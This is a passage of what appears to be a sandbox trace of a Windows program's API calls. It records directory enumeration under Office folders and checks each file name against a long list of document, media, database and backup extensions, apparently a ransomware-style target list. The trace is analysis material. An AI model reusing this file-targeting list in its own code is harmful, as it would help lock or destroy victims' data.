ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0034.756] FindClose (in: hFindFile=0x3ed1238 | out: hFindFile=0x3ed1238) returned 1 [0034.756] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0034.756] FindNextFileW (in: hFindFile=0x3ed10f8, lpFindFileData=0x352f58c | out: lpFindFileData=0x352f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0034.756] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0034.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1238 [0034.759] FindNextFileW (in: hFindFile=0x3ed1238, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.759] FindNextFileW (in: hFindFile=0x3ed1238, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0034.759] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3f05090 [0034.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1278 [0035.112] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.112] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0038.144] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc5f84580, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xc5f84580, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.144] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0038.144] lstrlenW (lpString="GrooveMUI.XML") returned 13 [0038.144] lstrlenW (lpString=".1cd") returned 4 [0038.144] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.144] lstrlenW (lpString=".3ds") returned 4 [0038.144] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0038.144] lstrlenW (lpString=".3fr") returned 4 [0038.144] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0038.144] lstrlenW (lpString=".3g2") returned 4 [0038.144] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0038.144] lstrlenW (lpString=".3gp") returned 4 [0038.144] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0038.144] lstrlenW (lpString=".7z") returned 3 [0038.144] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.144] lstrlenW (lpString=".accda") returned 6 [0038.145] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0038.145] lstrlenW (lpString=".accdb") returned 6 [0038.145] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0038.145] lstrlenW (lpString=".accdc") returned 6 [0038.145] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0038.145] lstrlenW (lpString=".accde") returned 6 [0038.145] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0038.145] lstrlenW (lpString=".accdt") returned 6 [0038.145] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0038.145] lstrlenW (lpString=".accdw") returned 6 [0038.145] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0038.145] lstrlenW (lpString=".adb") returned 4 [0038.145] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".adp") returned 4 [0038.145] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ai") returned 3 [0038.145] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0038.145] lstrlenW (lpString=".ai3") returned 4 [0038.145] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ai4") returned 4 [0038.145] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ai5") returned 4 [0038.145] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ai6") returned 4 [0038.145] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ai7") returned 4 [0038.145] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ai8") returned 4 [0038.145] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".anim") returned 5 [0038.145] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0038.145] lstrlenW (lpString=".arw") returned 4 [0038.145] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".as") returned 3 [0038.145] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0038.145] lstrlenW (lpString=".asa") returned 4 [0038.145] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".asc") returned 4 [0038.145] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".ascx") returned 5 [0038.145] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0038.145] lstrlenW (lpString=".asm") returned 4 [0038.145] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".asmx") returned 5 [0038.145] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0038.145] lstrlenW (lpString=".asp") returned 4 [0038.145] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".aspx") returned 5 [0038.145] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0038.145] lstrlenW (lpString=".asr") returned 4 [0038.145] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".asx") returned 4 [0038.145] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0038.145] lstrlenW (lpString=".avi") returned 4 [0038.145] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".avs") returned 4 [0038.146] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".backup") returned 7 [0038.146] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0038.146] lstrlenW (lpString=".bak") returned 4 [0038.146] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".bay") returned 4 [0038.146] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".bd") returned 3 [0038.146] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0038.146] lstrlenW (lpString=".bin") returned 4 [0038.146] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".bmp") returned 4 [0038.146] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".bz2") returned 4 [0038.146] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".c") returned 2 [0038.146] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0038.146] lstrlenW (lpString=".cdr") returned 4 [0038.146] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cer") returned 4 [0038.146] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cf") returned 3 [0038.146] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0038.146] lstrlenW (lpString=".cfc") returned 4 [0038.146] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cfm") returned 4 [0038.146] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cfml") returned 5 [0038.146] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0038.146] lstrlenW (lpString=".cfu") returned 4 [0038.146] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".chm") returned 4 [0038.146] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cin") returned 4 [0038.146] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".class") returned 6 [0038.146] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0038.146] lstrlenW (lpString=".clx") returned 4 [0038.146] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".config") returned 7 [0038.146] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0038.146] lstrlenW (lpString=".cpp") returned 4 [0038.146] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cr2") returned 4 [0038.146] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".crt") returned 4 [0038.146] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".crw") returned 4 [0038.146] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cs") returned 3 [0038.146] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0038.146] lstrlenW (lpString=".css") returned 4 [0038.146] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".csv") returned 4 [0038.146] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0038.146] lstrlenW (lpString=".cub") returned 4 [0038.147] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dae") returned 4 [0038.147] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dat") returned 4 [0038.147] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".db") returned 3 [0038.147] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0038.147] lstrlenW (lpString=".dbf") returned 4 [0038.147] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dbx") returned 4 [0038.147] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dc3") returned 4 [0038.147] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dcm") returned 4 [0038.147] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dcr") returned 4 [0038.147] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".der") returned 4 [0038.147] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dib") returned 4 [0038.147] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dic") returned 4 [0038.147] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dif") returned 4 [0038.147] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".divx") returned 5 [0038.147] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0038.147] lstrlenW (lpString=".djvu") returned 5 [0038.147] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0038.147] lstrlenW (lpString=".dng") returned 4 [0038.147] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".doc") returned 4 [0038.147] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".docm") returned 5 [0038.147] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0038.147] lstrlenW (lpString=".docx") returned 5 [0038.147] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.147] lstrlenW (lpString=".dot") returned 4 [0038.147] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dotm") returned 5 [0038.147] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0038.147] lstrlenW (lpString=".dotx") returned 5 [0038.147] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0038.147] lstrlenW (lpString=".dpx") returned 4 [0038.147] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dqy") returned 4 [0038.147] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dsn") returned 4 [0038.147] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dt") returned 3 [0038.147] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0038.147] lstrlenW (lpString=".dtd") returned 4 [0038.147] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dwg") returned 4 [0038.147] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0038.147] lstrlenW (lpString=".dwt") returned 4 [0038.148] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".dx") returned 3 [0038.148] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0038.148] lstrlenW (lpString=".dxf") returned 4 [0038.148] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".edml") returned 5 [0038.148] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0038.148] lstrlenW (lpString=".efd") returned 4 [0038.148] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".elf") returned 4 [0038.148] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".emf") returned 4 [0038.148] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".emz") returned 4 [0038.148] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".epf") returned 4 [0038.148] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".eps") returned 4 [0038.148] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".epsf") returned 5 [0038.148] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0038.148] lstrlenW (lpString=".epsp") returned 5 [0038.148] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0038.148] lstrlenW (lpString=".erf") returned 4 [0038.148] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".exr") returned 4 [0038.148] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".f4v") returned 4 [0038.148] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".fido") returned 5 [0038.148] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0038.148] lstrlenW (lpString=".flm") returned 4 [0038.148] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".flv") returned 4 [0038.148] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".frm") returned 4 [0038.148] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".fxg") returned 4 [0038.148] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".geo") returned 4 [0038.148] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".gif") returned 4 [0038.148] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".grs") returned 4 [0038.148] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".gz") returned 3 [0038.148] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0038.148] lstrlenW (lpString=".h") returned 2 [0038.148] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0038.148] lstrlenW (lpString=".hdr") returned 4 [0038.148] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0038.148] lstrlenW (lpString=".hpp") returned 4 [0038.148] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".hta") returned 4 [0038.149] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".htc") returned 4 [0038.149] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".htm") returned 4 [0038.149] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".html") returned 5 [0038.149] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0038.149] lstrlenW (lpString=".icb") returned 4 [0038.149] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".ics") returned 4 [0038.149] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".iff") returned 4 [0038.149] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".inc") returned 4 [0038.149] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".indd") returned 5 [0038.149] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0038.149] lstrlenW (lpString=".ini") returned 4 [0038.149] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".iqy") returned 4 [0038.149] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".j2c") returned 4 [0038.149] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".j2k") returned 4 [0038.149] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".java") returned 5 [0038.149] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0038.149] lstrlenW (lpString=".jp2") returned 4 [0038.149] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".jpc") returned 4 [0038.149] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".jpe") returned 4 [0038.149] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".jpeg") returned 5 [0038.149] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0038.149] lstrlenW (lpString=".jpf") returned 4 [0038.149] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".jpg") returned 4 [0038.149] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".jpx") returned 4 [0038.149] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".js") returned 3 [0038.149] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0038.149] lstrlenW (lpString=".jsf") returned 4 [0038.149] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".json") returned 5 [0038.149] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0038.149] lstrlenW (lpString=".jsp") returned 4 [0038.149] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".kdc") returned 4 [0038.149] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".kmz") returned 4 [0038.149] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0038.149] lstrlenW (lpString=".kwm") returned 4 [0038.149] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".lasso") returned 6 [0038.150] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0038.150] lstrlenW (lpString=".lbi") returned 4 [0038.150] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".lgf") returned 4 [0038.150] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".lgp") returned 4 [0038.150] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".log") returned 4 [0038.150] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".m1v") returned 4 [0038.150] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".m4a") returned 4 [0038.150] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".m4v") returned 4 [0038.150] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".max") returned 4 [0038.150] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".md") returned 3 [0038.150] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0038.150] lstrlenW (lpString=".mda") returned 4 [0038.150] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mdb") returned 4 [0038.150] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mde") returned 4 [0038.150] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mdf") returned 4 [0038.150] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mdw") returned 4 [0038.150] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mef") returned 4 [0038.150] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mft") returned 4 [0038.150] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mfw") returned 4 [0038.150] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mht") returned 4 [0038.150] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mhtml") returned 6 [0038.150] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0038.150] lstrlenW (lpString=".mka") returned 4 [0038.150] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mkidx") returned 6 [0038.150] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0038.150] lstrlenW (lpString=".mkv") returned 4 [0038.150] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mos") returned 4 [0038.150] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mov") returned 4 [0038.150] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mp3") returned 4 [0038.150] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mp4") returned 4 [0038.150] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0038.150] lstrlenW (lpString=".mpeg") returned 5 [0038.150] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0038.151] lstrlenW (lpString=".mpg") returned 4 [0038.151] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".mpv") returned 4 [0038.151] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".mrw") returned 4 [0038.151] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".msg") returned 4 [0038.151] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".mxl") returned 4 [0038.151] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".myd") returned 4 [0038.151] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".myi") returned 4 [0038.151] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".nef") returned 4 [0038.151] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".nrw") returned 4 [0038.151] lstrcmpiW 